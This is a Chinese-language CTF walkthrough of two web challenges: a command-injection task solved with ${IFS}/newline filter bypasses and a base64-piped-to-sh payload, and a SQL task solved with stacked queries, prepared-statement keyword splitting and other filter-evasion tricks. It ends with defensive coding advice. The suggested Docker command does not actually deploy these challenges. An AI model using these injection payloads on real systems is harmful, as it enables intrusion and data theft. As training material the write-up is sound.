1. 解题环境准备与题目背景
这两道CTF题目分别来自2019年的GXYCTF和SUCTF赛事,都是典型的Web安全挑战题。我们先来搭建一个本地复现环境,建议使用Docker快速部署:
code复制docker run -d -p 80:80 --name ctf_practice vulhub/nginx:1.19
对于Ping Ping Ping这道题,它模拟了一个存在命令注入漏洞的Web接口。题目页面通常只有一个简单的输入框,提示你输入IP地址进行ping测试。而EasySQL则是典型的SQL注入挑战,页面可能包含登录框或搜索功能。
注意:实际比赛环境可能已经关闭,建议使用CTFd或Vulhub搭建本地靶场练习。不同赛事平台可能有细微差异,但核心考点一致。
2. [GXYCTF2019]Ping Ping Ping解题详解
2.1 初步探测与黑名单分析
首先尝试最基本的命令注入:
code复制127.0.0.1;ls
如果返回错误提示"fxck your space!",说明空格被过滤。这时可以尝试以下绕过方式:
- 用${IFS}代替空格(IFS是shell的内部字段分隔符)
- 用%09(tab的URL编码)代替
- 用重定向符号<<代替
测试发现127.0.0.1;cat${IFS}index.php可以执行,但返回"fxck your symbol!",说明分号被过滤。此时可以尝试:
- 用%0a(换行符)代替分号
- 用||或&&连接命令
- 使用反引号或$()执行命令
2.2 绕过特殊字符过滤的实战技巧
经过测试,发现以下字符被过滤:
- 空格、分号、引号、斜杠等
这时可以采用无空格、无特殊字符的payload构造方式:
code复制127.0.0.1%0a
a=cat
b=flag.php
$IFS$a$b
或者使用变量拼接:
code复制127.0.0.1%0a
x=g.php
cat${IFS}fla$x
实操心得:遇到复杂过滤时,可以先用
echo${IFS}123>test测试写文件权限,再用cat${IFS}test验证命令执行效果,分步验证更可靠。
2.3 最终flag获取方案
经过多次尝试,最终有效的payload可能是:
code复制127.0.0.1%0a
echo${IFS}Y2F0IGZsYWcucGhw|base64${IFS}-d|sh
这个payload的工作原理:
- 使用base64编码"cat flag.php"得到Y2F0IGZsYWcucGhw
- 通过管道解码并执行
- 避免了直接使用敏感字符
3. [SUCTF 2019]EasySQL解题全流程
3.1 SQL注入基础探测
首先尝试常规注入测试:
code复制1' or 1=1-- -
如果返回错误,可能是数字型注入,尝试:
code复制1 or 1=1
观察返回结果差异,判断注入类型。这道题的特殊之处在于后端对输入进行了特殊处理。
3.2 关键突破点发现
经过测试发现以下特性:
- 输入纯数字返回正常
- 输入
1;show tables返回非预期结果 - 输入
1 or 1返回空结果
尝试堆叠查询:
code复制1;show databases;
如果成功返回数据库列表,说明存在堆叠注入漏洞。
3.3 利用堆叠注入获取数据
构造payload获取表结构:
code复制1;set @sql=concat('sel','ect * from `',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'`');prepare stmt from @sql;execute stmt;
这个payload的巧妙之处在于:
- 使用concat拆分敏感关键词
- 动态获取当前数据库表名
- 通过预处理语句执行动态SQL
3.4 非预期解与源码分析
根据赛后复盘,这道题还存在更简单的解法:
code复制1;show tables;
1;select flag from flag;
但实际比赛中可能需要猜测表名,建议结合以下技巧:
- 使用
1;desc tables;查看表结构 - 尝试常见表名如flag、flags、secret等
- 使用hex编码绕过过滤
4. 常见问题排查与调试技巧
4.1 Ping题目常见错误处理
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 无任何返回 | 命令执行失败 | 尝试用echo测试基础命令执行 |
| 返回黑名单提示 | 使用了被过滤字符 | 尝试变量替换或编码绕过 |
| 连接超时 | 靶机未启动 | 检查Docker容器状态 |
4.2 SQL注入调试方法
- 使用Burp Suite拦截修改请求
- 对参数进行URL编码处理
- 逐步增加注入复杂度:
- 先测试简单永真条件
- 再尝试获取基本信息
- 最后构造完整payload
4.3 特殊场景处理技巧
当遇到以下情况时:
- 过滤了select关键词:使用大小写变种SeLeCT
- 过滤了空格:使用/**/或%0a代替
- 过滤了等号:使用like或regexp替代
5. 防御方案与学习建议
5.1 安全编码实践
对于Ping类题目,应该:
- 使用白名单验证输入(仅允许IP地址格式)
- 调用系统命令时使用subprocess.run()的安全模式
- 对输出进行HTML实体编码
对于SQL注入,应该:
- 使用参数化查询(PreparedStatement)
- 实施最小权限原则
- 启用Web应用防火墙规则
5.2 进阶学习路线
建议按以下顺序提升技能:
- 掌握基础Linux命令和SQL语法
- 学习OWASP Top 10漏洞原理
- 练习PortSwigger Academy的靶场
- 参加CTF比赛积累实战经验
我在实际解题中发现,很多过滤规则都有规律可循。比如空格过滤通常可以用${IFS}绕过,而关键词过滤则可以通过拆分、编码等方式处理。最重要的是保持耐心,逐步测试每个假设。
